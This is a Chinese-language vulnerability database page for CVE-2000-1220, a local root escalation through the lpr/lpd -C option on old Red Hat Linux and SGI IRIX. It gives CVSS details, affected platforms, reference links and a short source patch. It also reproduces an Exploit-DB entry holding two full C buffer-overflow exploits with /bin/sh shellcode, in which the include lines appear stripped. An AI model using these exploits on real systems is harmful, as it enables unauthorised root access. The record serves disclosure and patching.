CVE-2000-1220
CVSS10.0
发布时间 :2000-01-08 00:00:00
修订时间 :2011-03-07 21:04:27
NMCOE    

[原文]The line printer daemon (lpd) in the lpr package in multiple Linux operating systems allows local users to gain root privileges by causing sendmail to execute with arbitrary command line arguments, as demonstrated using the -C option to specify a configuration file.


[CNNVD]Linux lpr line printer daemon特权提升漏洞。(CNNVD-200001-025)

        多个Linux操作系统lpr包中的line printer daemon (lpd)存在漏洞。本地用户通过发送邮件执行任意命令行参数提升根特权,已经证明的如使用-C选项指定配置文件。

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:sgi:irix:6.5.14fSGI IRIX 6.5.14f
cpe:/o:redhat:linux:6.1::i386
cpe:/o:sgi:irix:6.5.18fSGI IRIX 6.5.18f
cpe:/o:sgi:irix:6.5.16mSGI IRIX 6.5.16m
cpe:/o:redhat:linux:5.1Red Hat Linux 5.1
cpe:/o:redhat:linux:4.2Red Hat Linux 4.2
cpe:/o:sgi:irix:6.5.15fSGI IRIX 6.5.15f
cpe:/o:sgi:irix:6.5.6SGI IRIX 6.5.6
cpe:/o:redhat:linux:4.1Red Hat Linux 4.1
cpe:/o:redhat:linux:6.0Red Hat Linux 6.0
cpe:/o:sgi:irix:6.5.13SGI IRIX 6.5.13
cpe:/o:sgi:irix:6.5.18mSGI IRIX 6.5.18m
cpe:/o:sgi:irix:6.5.11SGI IRIX 6.5.11
cpe:/o:sgi:irix:6.5.17mSGI IRIX 6.5.17m
cpe:/o:sgi:irix:6.5.3SGI IRIX 6.5.3
cpe:/o:sgi:irix:6.5.9SGI IRIX 6.5.9
cpe:/o:sgi:irix:6.5.14mSGI IRIX 6.5.14m
cpe:/o:sgi:irix:6.5.12SGI IRIX 6.5.12
cpe:/o:sgi:irix:6.5.8SGI IRIX 6.5.8
cpe:/o:redhat:linux:5.2::i386
cpe:/o:sgi:irix:6.5SGI IRIX 6.5
cpe:/o:sgi:irix:6.5.7SGI IRIX 6.5.7
cpe:/o:redhat:linux:4.0Red Hat Linux 4.0
cpe:/o:sgi:irix:6.5.15mSGI IRIX 6.5.15m
cpe:/o:sgi:irix:6.5.16fSGI IRIX 6.5.16f
cpe:/o:sgi:irix:6.5.5SGI IRIX 6.5.5
cpe:/o:sgi:irix:6.5.4SGI IRIX 6.5.4
cpe:/o:sgi:irix:6.5.10SGI IRIX 6.5.10
cpe:/o:sgi:irix:6.5.1SGI IRIX 6.5.1
cpe:/o:sgi:irix:6.5.2SGI IRIX 6.5.2
cpe:/o:redhat:linux:5.0Red Hat Linux 5.0
cpe:/o:sgi:irix:6.5.17fSGI IRIX 6.5.17f

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1220
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-1220
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200001-025
(官方数据源) CNNVD

- 其它链接及资源

http://www.kb.cert.org/vuls/id/39001
(UNKNOWN)  CERT-VN  VU#39001
http://xforce.iss.net/xforce/xfdb/3841
(UNKNOWN)  XF  redhat-lpd-print-control(3841)
http://www.securityfocus.com/bid/927
(UNKNOWN)  BID  927
http://www.redhat.com/support/errata/RHSA-2000-002.html
(UNKNOWN)  REDHAT  RHSA-2000:002
http://www.debian.org/security/2000/20000109
(UNKNOWN)  DEBIAN  20000109 lpr -- access control problem and root exploit
http://www.debian.org/security/2000/20000109
(UNKNOWN)  DEBIAN  20000109 lpr -- access control problem and root exploit
http://www.atstake.com/research/advisories/2000/lpd_advisory.txt
(VENDOR_ADVISORY)  MISC  http://www.atstake.com/research/advisories/2000/lpd_advisory.txt
http://www.atstake.com/research/advisories/2000/lpd_advisory.txt
(UNKNOWN)  MISC  http://www.atstake.com/research/advisories/2000/lpd_advisory.txt
http://seclists.org/lists/bugtraq/2000/Jan/0116.html
(UNKNOWN)  BUGTRAQ  20000108 L0pht Advisory: LPD, RH 4.x,5.x,6.x
ftp://patches.sgi.com/support/free/security/advisories/20021104-01-P
(UNKNOWN)  SGI  20021104-01-P

- 漏洞信息

Linux lpr line printer daemon特权提升漏洞。
危急 未知
2000-01-08 00:00:00 2005-10-20 00:00:00
远程  
        多个Linux操作系统lpr包中的line printer daemon (lpd)存在漏洞。本地用户通过发送邮件执行任意命令行参数提升根特权,已经证明的如使用-C选项指定配置文件。

- 公告与补丁

        

- 漏洞信息 (325)

BSD and Linux lpr Command Local Root Exploit (EDBID:325)
linux local
1996-10-25 Verified
0 Vadim Kolontsov
N/A [点击下载]
-------------------------------------- linux_lpr_exploit.c ----------
#include 
#include 
#include 

#define DEFAULT_OFFSET          50
#define BUFFER_SIZE             1023

long get_esp(void)
{
   __asm__("movl %esp,%eax\n");
}

void main()
{
   char *buff = NULL;
   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;

   u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
                        "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
                        "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
                        "\xd7\xff\xff\xff/bin/sh";
   int i;

   buff = malloc(4096);
   if(!buff)
   {
      printf("can't allocate memory\n");
      exit(0);
   }
   ptr = buff;
   memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
   ptr += BUFFER_SIZE-strlen(execshell);
   for(i=0;i < strlen(execshell);i++)
      *(ptr++) = execshell[i];
   addr_ptr = (long *)ptr;
   for(i=0;i<2;i++)
      *(addr_ptr++) = get_esp() + DEFAULT_OFFSET;
   ptr = (char *)addr_ptr;
   *ptr = 0;
   execl("/usr/bin/lpr", "lpr", "-C", buff, NULL);
}
------------------------------------------- bsd_lpr_exploit.c ------
#include 
#include 
#include 

#define DEFAULT_OFFSET          50
#define BUFFER_SIZE             1023

long get_esp(void)
{
   __asm__("movl %esp,%eax\n");
}

void main()
{
   char *buff = NULL;
   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;

   char execshell[] =
   "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
   "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
   "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
   "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";

   int i;

   buff = malloc(4096);
   if(!buff)
   {
      printf("can't allocate memory\n");
      exit(0);
   }
   ptr = buff;
   memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
   ptr += BUFFER_SIZE-strlen(execshell);
   for(i=0;i < strlen(execshell);i++)
      *(ptr++) = execshell[i];
   addr_ptr = (long *)ptr;
   for(i=0;i<2;i++)
      *(addr_ptr++) = get_esp() + DEFAULT_OFFSET;
   ptr = (char *)addr_ptr;
   *ptr = 0;
   execl("/usr/bin/lpr", "lpr", "-C", buff, NULL);
}
--------------------------------------------------------------------------

  Here is a little patch -- see file lpr.c, function card():
("!!" marks added lines)

--------------------------------------------------------------------------
static void card(c, p2)
        register int c;
        register char *p2;
{
        char buf[BUFSIZ];
        register char *p1 = buf;
        register int len = 2;


        if (strlen(p2) > BUFSIZ-2)                     /* !! */
        {                                              /* !! */
                printf("No, thanks...\n");             /* !! */
                exit(1);                               /* !! */
        }
        *p1++ = c;
        while ((c = *p2++) != '\0') {
                *p1++ = (c == '\n') ? ' ' : c;
                len++;
        }
        *p1++ = '\n';
        write(tfd, buf, len);
}


// milw0rm.com [1996-10-25]
		

- 漏洞信息

17207
Multiple Linux lpr lpd -C Parameter Local Privilege Escalation

- 漏洞描述

Unknown or Incomplete

- 时间线

2000-01-08 Unknow
Unknow Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站